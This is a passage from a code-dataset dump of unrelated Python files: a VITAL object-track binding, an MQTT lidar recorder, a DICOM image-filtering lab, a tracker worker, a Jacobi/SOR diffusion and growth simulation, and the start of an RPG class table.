SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n==============================================================================\n\nInterface to VITAL object track class.\n\n\"\"\"\nimport ctypes\n\nfrom vital.types import (\n TrackState,\n DetectedObject,\n Track,\n TrackSet\n)\nfrom vital.util import VitalObject, free_void_ptr\n\n\nclass ObjectTrackState( TrackState ):\n \"\"\"\n vital::track::feature_track_state interface class\n \"\"\"\n def __init__(self, frame, detection=None, from_cptr=None):\n \"\"\"\n Initialize new track state\n\n :param detection: Optional DetectedObject instance associated with this state.\n :type detection: vital.types.DetectedObject\n \"\"\"\n super(ObjectTrackState, self).__init__(from_cptr, frame, detection)\n\n def _new(self, frame, detection):\n \"\"\"\n :param detection: Optional DetectedObject instance associated with this state.\n :type detection: vital.types.DetectedObject\n \"\"\"\n return self._call_cfunc(\n \"vital_object_track_state_new\",\n [ctypes.c_int64, DetectedObject.c_ptr_type()],\n [frame, detection],\n self.C_TYPE_PTR\n )\n\n def _destroy(self):\n self._call_cfunc(\n \"vital_track_state_destroy\",\n [self.C_TYPE_PTR],\n [self],\n )\n\n @property\n def detection(self):\n d_ptr = self._call_cfunc(\n \"vital_object_track_state_detection\",\n [self.C_TYPE_PTR],\n [self],\n DetectedObject.c_ptr_type()\n )\n # f_ptr may be null\n if d_ptr:\n return DetectedObject(from_cptr=d_ptr)\n else:\n return None\n\nclass ObjectTrackSet( TrackSet ):\n \"\"\"\n vital::track::object_track_set interface class\n \"\"\"\n def _new(self, track_list):\n \"\"\"\n :param track_list: List of tracks to initialize the set with\n :type track_list: collections.Iterable[Track] | None\n \"\"\"\n if track_list is None:\n track_list = []\n # noinspection PyCallingNonCallable\n c_track_array = (Track.c_ptr_type() * len(track_list))(\n *(t.c_pointer for t in track_list)\n )\n\n return self._call_cfunc(\n 'vital_object_trackset_new',\n [ctypes.c_size_t, ctypes.POINTER(Track.c_ptr_type())],\n [len(track_list), c_track_array],\n self.C_TYPE_PTR\n )\n","sub_path":"vital/bindings/python/vital/types/object_track_set.py","file_name":"object_track_set.py","file_ext":"py","file_size_in_byte":3877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"545212074","text":"import paho.mqtt.client as mqtt\nimport math\nimport matplotlib.pyplot as plt\nimport scipy.io as sio\nimport numpy as np\nimport time\n\nDist = {}\nscans = []\n\n\ndef on_connect(self, client, userdata, rc):\n print(\"MQTT Connected.\")\n self.subscribe(\"/ldb01/mapdata\")\n\ndef on_message(client, userdata,msg):\n # print(\"Messsage\")\n\n data = [x for x in msg.payload]\n\n for i in range(45):\n angle = data[4*i]*256 + data[4*i+1]\n angle_rad = (-3.14159*angle/180 - 0.13)%6.28318\n\n\n dist = data[4*i+2]*256 + data[4*i+3]\n\n if dist == 250:\n dist = 0\n\n # print(\"angle:\",angle_rad,\"distance\",dist)\n Dist[angle_rad] = dist\n\n x = dist*math.cos(angle_rad)\n y = dist*math.sin(angle_rad)\n\n\nclient = mqtt.Client()\nclient.on_connect = on_connect\nclient.on_message = on_message\n\nclient.loop_start()\nclient.connect(\"103.20.207.171\", 1883, 120)\n\nstartTime = time.time()\n\nnextTime = startTime + 3\n\n\n\nwhile time.time() - startTime <= 60:\n if (time.time() - nextTime) >= 0.5:\n nextTime = time.time()\n print(\"record\" + str(int(time.time() - startTime)))\n cell = {}\n\n cell[\"Ranges\"] = []\n cell[\"Angles\"] = []\n cell[\"Catesian\"] = []\n cell[\"Count\"] = 45\n\n for d in Dist:\n x = Dist[d]*math.cos(d)\n y = Dist[d]*math.sin(d)\n \n cell[\"Ranges\"].append([float(Dist[d])/10000])\n cell[\"Angles\"].append([d])\n cell[\"Catesian\"].append([x,y])\n\n scans.append(cell)\nclient.loop_stop()\n\nsio.savemat('mapdata.mat', {'data':scans})\n\nprint(len(Dist))\n\n# plt.figure()\n# for d in Dist:\n# print(d,Dist[d])\n\n# if Dist[d] != 250:\n# x = Dist[d]*math.cos(d)\n# y = Dist[d]*math.sin(d)\n# plt.plot(x,y,'r.')\n\n# plt.show()","sub_path":"MATLAB/mapdata2mat.py","file_name":"mapdata2mat.py","file_ext":"py","file_size_in_byte":1797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"550712585","text":"# Copyright © 2020. All rights reserved.\r\n# Authors: Vitalii Babenko\r\n# Contacts: vbabenko2191@gmail.com\r\n\r\nimport pydicom\r\nimport numpy as np\r\nfrom OpenGL.GL import *\r\nfrom OpenGL.GLU import *\r\nfrom OpenGL.GLUT import *\r\nfrom OpenGL.arrays.numpymodule import ARRAY_TO_GL_TYPE_MAPPING\r\n\r\n# маски високочастотної фільтрації\r\nmasks = [\r\n [\r\n [-1 / 9, -1 / 9, -1 / 9],\r\n [-1 / 9, 8 / 9, -1 / 9],\r\n [-1 / 9, -1 / 9, -1 / 9]\r\n ],\r\n [\r\n [0, -1 / 6, 0],\r\n [-1 / 6, 4 / 6, -1 / 6],\r\n [0, -1 / 6, 0]\r\n ],\r\n [\r\n [-1 / 16, -2 / 16, -1 / 16],\r\n [-2 / 16, 12 / 16, -2 / 16],\r\n [-1 / 16, -2 / 16, -1 / 16]\r\n ],\r\n]\r\n\r\n\r\ndef get_real(pixels, mask, i, j):\r\n pixel_value = 0\r\n for y in range(-1, 2):\r\n for x in range(-1, 2):\r\n pixel_value += mask[y + 1][x + 1] * pixels[i + y][j + x]\r\n return pixel_value\r\n\r\n\r\ndef get_extrapolation(pixels, mask, i, j):\r\n global height, width\r\n pixel_value = 0\r\n for y in range(-1, 2):\r\n for x in range(-1, 2):\r\n if is_out_of_bounds(i + y, width - 1) or is_out_of_bounds(j + x, height - 1):\r\n pixel_value += 0\r\n else:\r\n pixel_value += mask[y + 1][x + 1] * pixels[i + y][j + x]\r\n return pixel_value\r\n\r\n\r\ndef is_out_of_bounds(point, length):\r\n return (point - 1 < 0) or (point + 1 > length)\r\n\r\n\r\ndef filter(pixels, mask):\r\n global height, width, max_brightness, image_type\r\n result = []\r\n for i, row in enumerate(pixels):\r\n new_row = []\r\n for j, pixel in enumerate(row):\r\n if is_out_of_bounds(i, height - 1) or is_out_of_bounds(j, width - 1): # якщо за межами зображення\r\n pixel_value = get_extrapolation(pixels, mask, i, j)\r\n else:\r\n pixel_value = get_real(pixels, mask, i, j)\r\n if pixel_value < 0:\r\n pixel_value = 0\r\n elif pixel_value > max_brightness:\r\n pixel_value = max_brightness\r\n new_row.append(pixel_value)\r\n result.append(new_row)\r\n return np.array(result, image_type)\r\n\r\n\r\ndef keyboard(key, x, y):\r\n global image, current_pixels\r\n if key == chr(27).encode():\r\n sys.exit(0)\r\n elif key == b'1':\r\n current_pixels = filter(np.array(image.pixel_array), masks[0])\r\n elif key == b'2':\r\n current_pixels = filter(np.array(image.pixel_array), masks[1])\r\n elif key == b'3':\r\n current_pixels = filter(np.array(image.pixel_array), masks[2])\r\n elif key == b'r':\r\n current_pixels = image.pixel_array\r\n load_texture(current_pixels, GL_LUMINANCE)\r\n display()\r\n print('Done')\r\n\r\n\r\ndef reshape(w, h):\r\n glMatrixMode(GL_MODELVIEW)\r\n glLoadIdentity()\r\n gluOrtho2D(0.0, w, 0.0, h)\r\n\r\n\r\ndef display():\r\n global width, height\r\n glClear(GL_COLOR_BUFFER_BIT)\r\n glBegin(GL_QUADS)\r\n glTexCoord2f(0.0, 0.0)\r\n glVertex2f(0.0, 0.0)\r\n glTexCoord2f(0.0, 1.0)\r\n glVertex2f(0.0, width)\r\n glTexCoord2f(1.0, 1.0)\r\n glVertex2f(height, width)\r\n glTexCoord2f(1.0, 0.0)\r\n glVertex2f(height, 0.0)\r\n glEnd()\r\n glFlush()\r\n\r\n\r\ndef load_texture(pixels, type):\r\n gl_type = ARRAY_TO_GL_TYPE_MAPPING.get(pixels.dtype)\r\n glBindTexture(GL_TEXTURE_2D, glGenTextures(1))\r\n glTexImage2D(GL_TEXTURE_2D, 0, type, width, height, 0, type, gl_type, pixels)\r\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST)\r\n glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST)\r\n\r\n\r\ndef init():\r\n global image\r\n load_texture(image.pixel_array, GL_LUMINANCE)\r\n glEnable(GL_TEXTURE_2D)\r\n glClearColor(0.0, 0.0, 0.0, 0.0)\r\n\r\n\r\ndef load_image(filename):\r\n global width, height, image, current_pixels, max_brightness, image_type\r\n image = pydicom.read_file(filename)\r\n width = image['0028', '0011'].value\r\n height = image['0028', '0010'].value\r\n current_pixels = image.pixel_array\r\n image_type = np.dtype('int' + str(image['0028', '0100'].value))\r\n max_brightness = np.iinfo(image_type).max\r\n\r\n\r\ndef main(filename):\r\n glutInit(sys.argv)\r\n glutInitDisplayMode(GLUT_SINGLE | GLUT_RGB)\r\n load_image(filename)\r\n glutInitWindowSize(width, height)\r\n glutInitWindowPosition(100, 100)\r\n glutCreateWindow('Babenko_lab3')\r\n init()\r\n glutDisplayFunc(display)\r\n glutReshapeFunc(reshape)\r\n glutKeyboardFunc(keyboard)\r\n glutMainLoop()\r\n\r\n\r\nmain('D:\\PycharmProjects\\Biomedical-Image-Processing-Labs\\Images\\ImageForLab1\\DICOM_Image_for_Lab_2.dcm') # 8-бит\r\n# main('D:\\PycharmProjects\\Biomedical-Image-Processing-Labs\\Images\\ImageForLab2-6\\DICOM_Image_16b.dcm') # 16-бит\r\n","sub_path":"Lab3/03_Lab3.py","file_name":"03_Lab3.py","file_ext":"py","file_size_in_byte":4712,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"314547275","text":"# -*-coding:utf-8 -*\n\nimport os\nimport yaml\nimport logging\nfrom datetime import datetime\nimport time\nimport random\n\nfrom tracker.utils import *\nfrom tracker.worker import *\nfrom tracker.synchro import *\n\n\"\"\"\n\tCe script gère le worker.\n\"\"\"\n\ndef main():\n\t# CONFIGURATION\n\tfileConfPath = \"%s/config.yml\" % (os.path.dirname(os.path.realpath(__file__)))\n\n\t# On charge la conf\n\twith open(fileConfPath, \"r\") as file:\n\t\tconf = yaml.load(file)\n\t\tconf = conf['main']\n\t\n\t# On surcharge avec la conf personnelle\n\tif os.path.exists(conf['PATH_CONFIG_PERSO']):\n\t\twith open(conf['PATH_CONFIG_PERSO'], \"r\") as file:\n\t\t\tconf2 = yaml.load(file)\n\t\t\tif conf2:\n\t\t\t\tconf2 = conf2.get('main')\n\t\t\t\tconf.update(conf2)\n\t\t\t\t\n\t# Configuration des logs\n\tcreateLogger('/tmp/tracker_worker.log', conf['LOG_LEVEL'])\n\tlog = logging.getLogger()\n\t\n\t# Création du schema\n\tlog.info('Création du schema de la base')\n\tcreateSchema(conf['PATH_DB'])\n\t\n\tif conf['WAIT_WORKER']:\n\t\ttime.sleep(int(conf['WAIT_WORKER']))\n\t\t\n\t# On synchronise l'heure\n\tlog.info(\"Synchronisation de l'heure\")\n\tsync = Synchro()\n\toffset = sync.start()\n\tlog.info(\"Fin de synchronisation de l'heure\")\n\n\twhile(True):\n\t\tparams = {\n\t\t\t\"pathFolderWaitingCompress\": conf['PATH_DUMP_WAITING_COMPRESS'],\n\t\t\t\"pathFolderWaitingSend\": conf['PATH_DUMP_WAITING_SEND'],\n\t\t\t\"pathFileUserId\": conf['FILE_USER_ID'],\n\t\t\t\"pathFileUserKey\": conf['FILE_USER_KEY'],\n\t\t\t\"pathFilePlaceId\": conf['FILE_PLACE_ID'],\n\t\t\t\"pathFileBoxId\": conf['FILE_BOX_ID'],\n\t\t\t\"urlApi\": conf['URL_API'],\n\t\t\t\"db\": conf['PATH_DB'],\n\t\t\t\"offset\": offset\n\t\t}\n\t\tworker = Worker(**params)\n\t\tlog.info('Démarrage du worker')\n\t\tworker.start()\n\n\t\t# On attend le prochain envoie\n\t\tif conf['REALTIME']:\n\t\t\ttime.sleep(5)\n\t\telse:\n\t\t\ttime.sleep(random.randint(conf['WORKER_MIN_TIME'], conf['WORKER_MAX_TIME']))\n\t\t\n\t\t# On désactive l'offset puisque l'heure est maintenant à jour\n\t\toffset = 0\n\t\t","sub_path":"app/tracker_v3/tracker_worker.py","file_name":"tracker_worker.py","file_ext":"py","file_size_in_byte":1871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"425136899","text":"import math\nimport sys\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport scipy.optimize as optimize\n\n\ndef jacobi(matrix_len, prev_matrix, threshold, sink=None):\n\t\"\"\"A new matrix based on matrix at previous time.\n\t\n\tSupports an optional sink argument as a matrix of dimensions (matrix_len,\n\tmatrix_len).\n\t\n\t\"\"\"\n\t\n\tnew_matrix = np.zeros(shape=(matrix_len, matrix_len))\n\t\n\t# Top and bottom rows.\n\tnew_matrix[0] = [1] * matrix_len\n\tnew_matrix[-1] = [0] * matrix_len\n\t\n\tterminate = True\n\t\n\t# For all rows but top and bottom.\n\tfor i in range(1, matrix_len - 1):\n\t\tfor j in range(matrix_len):\n\t\n\t\t\tif sink is not None and not sink[i][j]:\n\t\t\t\tnew_matrix[i][j] = 0.25 * (\n\t\t\t\t\tprev_matrix[i + 1][j]\n\t\t\t\t\t+ prev_matrix[i - 1][j]\n\t\t\t\t\t+ prev_matrix[i][(j + 1) % matrix_len]\n\t\t\t\t\t+ prev_matrix[i][(j - 1) % matrix_len]\n\t\t\t\t)\n\t\t\telse:\n\t\t\t\tprev_value = matrix[i][j]\n\t\t\t\tnew_matrix[i][j] = 0\n\t\n\t\n\t\t\tif abs(prev_matrix[i][j] - new_matrix[i][j]) > threshold:\n\t\t\t\tterminate = False\n\t\n\treturn (new_matrix, terminate)\n\n\ndef gaussSeidel(matrix_len, matrix, threshold, sink=None):\n\t\"\"\"A new matrix based on matrix at previous time, updated in place.\n\t\n\tSupports an optional sink argument as a matrix of dimensions (matrix_len,\n\tmatrix_len).\n\t\n\t\"\"\"\n\t\n\tterminate = True\n\t\n\t# For all rows but top and bottom.\n\tfor i in range(1, matrix_len - 1):\n\t\tfor j in range(matrix_len):\n\t\n\t\t\tprev_value = matrix[i][j]\n\t\t\tif sink is None:\n\t\t\t\tmatrix[i][j] = 0.25 * (\n\t\t\t\t\tmatrix[i + 1][j]\n\t\t\t\t\t+ matrix[i - 1][j]\n\t\t\t\t\t+ matrix[i][(j + 1) % matrix_len]\n\t\t\t\t\t+ matrix[i][(j - 1) % matrix_len]\n\t\t\t\t)\n\t\t\telse:\n\t\t\t\tif sink[i][j]:\n\t\t\t\t\tmatrix[i][j] = 0\n\t\t\t\telse:\n\t\t\t\t\tmatrix[i][j] = 0.25 * (\n\t\t\t\t\tmatrix[i + 1][j]\n\t\t\t\t\t+ matrix[i - 1][j]\n\t\t\t\t\t+ matrix[i][(j + 1) % matrix_len]\n\t\t\t\t\t+ matrix[i][(j - 1) % matrix_len]\n\t\t\t\t)\n\t\t\t\n\t\t\t#print(matrix[i][j], prev_value)\n\t\t\tif abs(matrix[i][j] - prev_value) > threshold:\n\t\t\t\tterminate = False\n\t\n\treturn (matrix, terminate)\n\n\ndef sor(matrix_len, matrix, threshold, omega, sink=None):\n \"\"\"A new matrix based on matrix at previous time, successive over relaxation.\n\n Supports an optional sink argument as a matrix of dimensions (matrix_len,\n matrix_len).\n\n \"\"\"\n\n # Assume termination until we find a cell above threshold.\n terminate = True\n\n # For all rows but top and bottom.\n for i in range(1, matrix_len - 1):\n for j in range(matrix_len):\n\n prev_value = matrix[i][j]\n if sink is None or not sink[i][j]:\n matrix[i][j] = (omega * 0.25 * (\n matrix[i + 1][j]\n + matrix[i - 1][j]\n + matrix[i][(j + 1) % matrix_len]\n + matrix[i][(j - 1) % matrix_len]\n )) + ((1 - omega) * prev_value)\n else:\n matrix[i][j] = 0\n\n if abs(matrix[i][j] - prev_value) > threshold:\n terminate = False\n\n return (matrix, terminate)\n\n\ndef getInitialMatrix(matrix_len):\n \"\"\"Return the t = 0 matrix with 1 at the top and 0s at the bottom.\"\"\"\n matrix = np.zeros(shape=(matrix_len, matrix_len))\n matrix[0] = [1] * matrix_len\n matrix[-1] = [0] * matrix_len\n return matrix\n\n\ndef finalMatrix(matrix_len=50, threshold=10 ** -5, sink=None, method=jacobi):\n \"\"\"Run a simulation until convergence.\"\"\"\n print(\"finalMatrix: N = {} threshold = {} method = {} sink_size = {}\".format(\n matrix_len, threshold, method, 0 if sink is None else np.sum(sink)))\n\n matrix = getInitialMatrix(matrix_len)\n\n terminate = False\n counter = 0\n while (not terminate):\n matrix, terminate = method(matrix_len, matrix, threshold, sink)\n counter += 1\n\n return matrix, counter\n\n\ndef tvalues(matrix_len=50, threshold=10 ** -5, method=jacobi):\n \"\"\"Perform Jacobi iteration until convergence.\"\"\"\n\n dot = []\n matrix = getInitialMatrix(matrix_len)\n\n terminate = False\n counter = 0\n while (not terminate):\n matrix, terminate = method(matrix_len, matrix, threshold)\n counter += 1\n # print(counter)\n\n t = [round(10**-i * counter) for i in range(5)]+[counter - 1]\n\n matrix = getInitialMatrix(matrix_len)\n\n terminate = False\n counter2 = 0\n while (not terminate):\n matrix, terminate = method(matrix_len, matrix, threshold)\n\n if counter2 in t:\n temparray = []\n for row in matrix:\n temparray.append(row[0])\n dot.append(temparray)\n counter2 += 1\n\n return matrix, counter, dot\n\n\ndef plotConvergenceOverNAndOmega(filename, omegas, Ns):\n \"\"\"A plot of time to converge for multiple lines (N) against omega.\"\"\"\n for N in Ns:\n times = []\n for omega in omegas:\n _, time = finalMatrix(\n matrix_len=N, method=lambda ml, m, t: sor(ml, m, t, omega))\n times.append(time)\n print(\"N = {} min_time = {} omega_min_time = {}\".format(\n N, min(times), omegas[times.index(min(times))]))\n plt.plot(omegas, times, label=\"N = {}\".format(N))\n plt.title(\"Timesteps to converge as a function of N and ω\")\n plt.xlabel(\"ω\")\n plt.ylabel(\"Timesteps to converge\")\n plt.legend()\n plt.savefig(filename)\n plt.show()\n print(\"Saved {}\".format(filename))\n\n\ndef c(x,t):\n D = 1\n answer = 0\n for i in range(100):\n newit = math.erfc((1-x+2*i)/(2*math.sqrt(D*t))) - math.erfc((1+x+2*i)/(2*math.sqrt(D*t)))\n answer += newit\n return answer\n\n\ndef makeSink(matrix_len, sinks=[]):\n \"\"\"Make a sink matrix of given length and sinks at given locations.\"\"\"\n sink = np.zeros(shape=(matrix_len, matrix_len))\n for (i, j) in sinks:\n sink[i][j] = True\n return sink\n\n\ncolor = [\"red\",\"green\",\"blue\",\"yellow\", \"black\"]\n\n\ndef plotAnalyticalSolutionsForJacobi(sink=None):\n \"\"\"Plot the concentration at a height for a number of timesteps.\"\"\"\n\n N=100\n a = [i/N for i in range(N+1)]\n\n plt.figure()\n\n for i in range(5):\n list = [c(j,1/(10.0**i)) for j in a]\n plt.plot(a, list, c =color[i], label = \"Analytic for t = \" + str(1/(10.0**i)))\n\n i=0\n a_sink = makeSink(N, [\n (int(N/2), int(N/2)),\n (int(N/2+1), int(N/2)),\n (int(N/2), int(N/2+1)),\n (int(N/2+1), int(N/2+1))\n ])\n for tv in tvalues(\n matrix_len=N, method=lambda ml, m, t: jacobi(ml, m, t, sink=a_sink)\n )[2]:\n tv.reverse()\n plt.plot([el/(len(tv)-1) for el in range(len(tv))] , tv, c = color[-i-1], linestyle= \":\", label=\"Jacobi\")\n i += 1\n\n plt.legend()\n plt.show()\n\n\ndef plotTValues():\n\n omega = 1.9\n i = 0\n\n tvall = tvalues(method=lambda ml, m, t: sor(ml, m, t, omega))[2]\n for tv in tvall:\n \ttv.reverse()\n \tplt.plot([el/(len(tv)-1) for el in range(len(tv))], tv, c = color[-i-1], linestyle= \"-.\", label=\"SOR for t = \" + str(1/(10.0**(len(tvall)-i))))\n \ti += 1\n\n i = 0\n for tv in tvalues(method=gaussSeidel)[2]:\n \ttv.reverse()\n \tplt.plot([el/(len(tv)-1) for el in range(len(tv))], [tvi/max(tv) for tvi in tv], c = color[i], linestyle= \"--\", label=\"Jacobi\")\n \ti += 1\n\n print(finalMatrix(method=gaussSeidel))\n for list in tvalues(method=lambda ml, m, t: sor(ml, m, t, omega))[2]:\n \tlist.reverse()\n \tplt.plot(range(len(list)), list)\n\n plt.show()\n\n\ndef plotTimeToConverge():\n \"\"\"Plot time to converge over N and omega and find optimal omega.\"\"\"\n\n Ns_and_ranges = [\n (10, 1.62-.05, 1.62+.05),\n (15, 1.73-.05, 1.73+.05),\n (20, 1.80-.05, 1.80+.05),\n (25, 1.84-.05, 1.84+.05),\n (30, 1.87-.05, 1.87+.05),\n (35, 1.88-.05, 1.88+.05),\n (40, 1.90-.05, 1.90+.05)\n ]\n\n # Plot for all N.\n plotConvergenceOverNAndOmega(\n \"1-J-optimal-omega.png\",\n omegas=np.linspace(1.6, 1.95, 100),\n Ns=[N for N, _1, _2 in Ns_and_ranges]\n )\n\n # Find optimal omega per N.\n for N, range_min, range_max in Ns_and_ranges:\n plotConvergenceOverNAndOmega(\n \"_unused.png\",\n omegas=np.linspace(range_min, range_max, 100),\n Ns=[N]\n )\n\n\ndef findOptimalOmega(matrix_len, method, initial_omega, sink=None):\n \"\"\"Return the optimal omega using scipy.optimize.\"\"\"\n def f(omega):\n print(\"optimize.minimize.f: omega = {}\".format(omega))\n result = finalMatrix(\n matrix_len=matrix_len,\n method=lambda ml, m, t, s: method(ml, m, t, omega, s),\n sink=sink\n )\n print(\"result[1] = {}\".format(result[1]))\n return result[1]\n result = optimize.minimize_scalar(f, tol=0.001, bracket=(0.7, 1.7, 1.98))\n print(\"Optimal result.x = {}\".format(result.x))\n return result.x\n\n\ndef makeRectangleSinks(matrix_len, total_size, rec_size=4):\n \"\"\"Sinks of given total size, each a 4 square rectangle.\"\"\"\n\n sink = np.zeros(shape=(matrix_len, matrix_len))\n max_recs = math.ceil(total_size / rec_size)\n max_recs_on_row = math.ceil(math.sqrt(max_recs))\n print(\"matrix_len = {} total_size = {} rec_size = {} max_recs = {} max_recs_on_row = {}\"\n .format(matrix_len, total_size, rec_size, max_recs, max_recs_on_row))\n\n count = 0\n def countDone(i_, j_):\n \"\"\"Set sink at given (i, j) and return if we're finished.\"\"\"\n sink[i_][j_] = True\n nonlocal count\n count += 1\n return count == total_size\n\n for ith_row in range(max_recs_on_row):\n for jth_col in range(max_recs_on_row):\n margin = 2\n # Calculate the top left coordinate of the rectangle.\n i = int(((matrix_len - 1) - (2 * margin)) * (ith_row / (max_recs_on_row-1 if max_recs_on_row > 1 else 1)) + margin)\n j = int(((matrix_len - 1) - (2 * margin)) * (jth_col / (max_recs_on_row-1 if max_recs_on_row > 1 else 1)) + margin)\n if countDone(i, j): return sink\n if countDone(i, j+1): return sink\n if countDone(i+1, j): return sink\n if countDone(i+1, j+1): return sink\n\n\ndef plotEffectOfSinks(plot_iterations=False, plot_omega=False):\n \"\"\"Plot the effect of sinks on time to converge and optimal omega.\"\"\"\n\n N = 30\n delta_t = 0.001\n final_time = 1\n default_omega = 1.8\n\n # A list of sinks of increasing size.\n sinks = [makeRectangleSinks(N, size) for size in range(1, 200+1, 2)]\n print(sinks[-1])\n sink_sizes = [np.sum(sink) for sink in sinks]\n\n # These will be filled in by the simulations.\n iterations = []\n optimal_omegas = []\n\n # For each sink sun simulation and record results.\n for i, sink in enumerate(sinks):\n\n if plot_iterations:\n print(\"\\nFinding iterations\")\n matrix, simulation_iterations = finalMatrix(\n matrix_len=N,\n threshold=2 * np.finfo(np.float32).eps,\n sink=sink,\n method=lambda ml, m, t, s: sor(ml, m, t, default_omega, s)\n )\n iterations.append(simulation_iterations)\n\n if plot_omega:\n print(\"\\nFinding optimal omega\")\n optimal_omegas.append(findOptimalOmega(\n matrix_len=N,\n initial_omega=default_omega,\n sink=sink,\n method=sor\n ))\n print(\"Sink = {} size = {}\".format(i, sink_sizes[i]))\n if plot_iterations: print(\"iterations = {}\".format(iterations))\n if plot_omega: print(\"optimal omegas = {}\".format(optimal_omegas))\n\n print(sink_sizes)\n print(iterations)\n print(optimal_omegas)\n\n if plot_iterations:\n plt.plot(sink_sizes, iterations)\n plt.title(\"Timesteps as a function of sink size\")\n plt.show()\n plt.close()\n\n if plot_omega:\n plt.plot(sink_sizes, optimal_omegas)\n plt.title(\"Optimal omega as a function of sink size\")\n plt.xlabel(\"Number of sinks\")\n plt.ylabel(\"Optimal omega\")\n plt.show()\n\n\ndef imshowSinks(matrix_len, amount_sinks):\n \"\"\"Imshow matrices with sinks.\"\"\"\n plt.imshow(makeRectangleSinks(matrix_len, amount_sinks))\n plt.show()\n\n\t\ndef grow():\n\t\"\"\"Start at one spot and grow a tree\"\"\"\n\t\n\teta = 0.5\n\tomega = 1.8\n\tminimum_c = 10 ** - 5\n\tmatrix_len = 100\n\t\n\tstart = (8, 9)\n\tobject = []\n\tobject.append(start)\n\t\n\tsink1 = makeSink(matrix_len = matrix_len, sinks = object)\n\t\n\tmatrix = getInitialMatrix(matrix_len)\n\tfor _ in range(70):\n\t\tresult = updateMatrix(matrix = matrix, method=lambda ml, m, t, s: sor(ml, m, t, omega, s), sink=sink1) # sink here\n\t\tdensitymap = makePossibilties(result[0], sink1)\n\t\tdensitymap = [[i, j, c] for [i, j, c] in densitymap if c > minimum_c]\n\t\tprint(\"density map after removal = {}\".format(densitymap))\n\t\tnew_sink = newgrowth(eta, densitymap)\n\t\tsink1[new_sink[0]][new_sink[1]] = True\n\t\tmatrix = result[0]\n\t\n\tprint(matrix)\n\tprint(\"Num cells = {}\".format(np.sum(sink1)))\n\t\n\t\ndef newgrowth(eta, densitymap):\n\n\tcTotal = 0\n\tfor el in densitymap:\n\t\tprint(\"el[2] {}\".format(el[2]))\n\t\tel[2] = el[2] ** eta \n\t\tcTotal += el[2] \n\tprint(cTotal)\n\tchanches = []\n\tfor el in densitymap:\n\t\tchanches.append(el[2] / cTotal)\n\t\n\tprint(np.cumsum(chanches))\n\t\n\t\n\tnumber = np.random.random()\n\tfor index, value in enumerate(np.cumsum(chanches)):\n\t\t\n\t\tif value > number:\n\t\t\treturn (densitymap[index][0], densitymap[index][1])\n\t\t\t\n\tprint(\"Check this\", chanches)\n\t\t\n\t\ndef makePossibilties(heatmap, sinks):\n\t\"\"\"Return a list of coordinates of new growth candidates.\"\"\"\n\tprint(heatmap, sinks)\n\tposlist = []\n\tN = len(heatmap)\n\tprint(\"len(heatmap) = {}\".format(N))\n\tfor i in range(len(heatmap)):\n\t\tfor j in range(len(heatmap[0])):\n\t\t\t# Assume initially not a growth candidate.\n\t\t\tpossibility = False\n\t\t\t# Becomes a candidate if a sink is a neighbour.\n\t\t\tfor di, dj in [[1, 0], [-1, 0], [0, 1], [0, -1]]:\n\t\t\t\ttry:\n\t\t\t\t\tif sinks[(i + di) % N][(j + dj) % N]:\n\t\t\t\t\t\tpossibility = True\n\t\t\t\t\t\tprint(i,j)\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\t\t# A sink is not a candidate.\n\t\t\tif sinks[i][j]:\n\t\t\t\tpossibility = False\n\t\t\t# Update the list of candidates.\n\t\t\tif possibility:\n\t\t\t\tposlist.append([i, j, heatmap[i][j]])\n\t\t\t\t\n\treturn poslist\n\t\n\t\ndef updateMatrix(matrix, threshold=10 ** -5, sink=None, method=jacobi):\n\t\"\"\"Run a simulation until convergence.\"\"\"\n\t#print(\"finalMatrix: N = {} threshold = {} method = {} sink_size = {}\".format(\n\t# matrix_len, threshold, method, 0 if sink is None else np.sum(sink)))\n\t\n\tterminate = False\n\tcounter = 0\n\twhile (not terminate):\n\t\tmatrix, terminate = method(len(matrix), matrix, threshold, sink)\n\t\tcounter += 1\n\t\tprint(counter)\n\t\n\treturn matrix, counter\t\n\nif __name__ == \"__main__\":\n #plotEffectOfSinks(plot_iterations=True, plot_omega=False)\n #imshowSinks(30, 36)\n #imshowSinks(30, 37)\n #plotTimeToConverge()\n #plotAnalyticalSolutionsForJacobi()\n #plotTValues()\n\tgrow() \n\n","sub_path":"set1/jacobi.py","file_name":"jacobi.py","file_ext":"py","file_size_in_byte":14686,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"398626000","text":"\n\nfrom xai.brain.wordbase.nouns._casket import _CASKET\n\n#calss header\nclass _CASKETS(_CASKET, ):\n\tdef __init__(self,): \n\t\t_CASKET.__init__(self)\n\t\tself.name = \"CASKETS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"casket\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_caskets.py","file_name":"_caskets.py","file_ext":"py","file_size_in_byte":238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"33"} +{"seq_id":"325078250","text":"class_info = {\n 'Fighter': {\n 'HD': 10,\n 'FA': 1,\n 'Saving Throws': {\n 'Death': 2,\n 'Transformation': 2,\n 'Device': 0,\n 'Avoidance': 0,\n 'Sorcery': 0,\n },\n 'Class Abilities': {\n 'Heroic Fighting': 'When fighting creatures of 1 HD or less, double number of attacks per round',\n 'Weapon Mastery (2)': '+1 to attack and damage rolls, increased attack rate',\n },\n 'Alignment': 'Any',\n 'Armor Allowed': 'Any',\n 'Shields Allowed': 'Any',\n 'Favored Weapons': 'Any',\n 'Weapons': [\n {\n 'Name': 'Battle Axe',\n 'WC': 2,\n 'Attack Rate': '3/2',\n 'Damage': '1d8',\n 'Range': '',\n 'Other': 'Mastery, Versatile (1d10)',\n },\n {\n 'Name': 'Short Bow',\n 'WC': None,\n 'Attack Rate': '3/2',\n 'Damage': '1d6',\n 'Range': '50/100/150',\n 'Other': 'Mastery',\n },\n ],\n 'Armor': {\n 'Type': 'Scale Armor',\n 'AC': 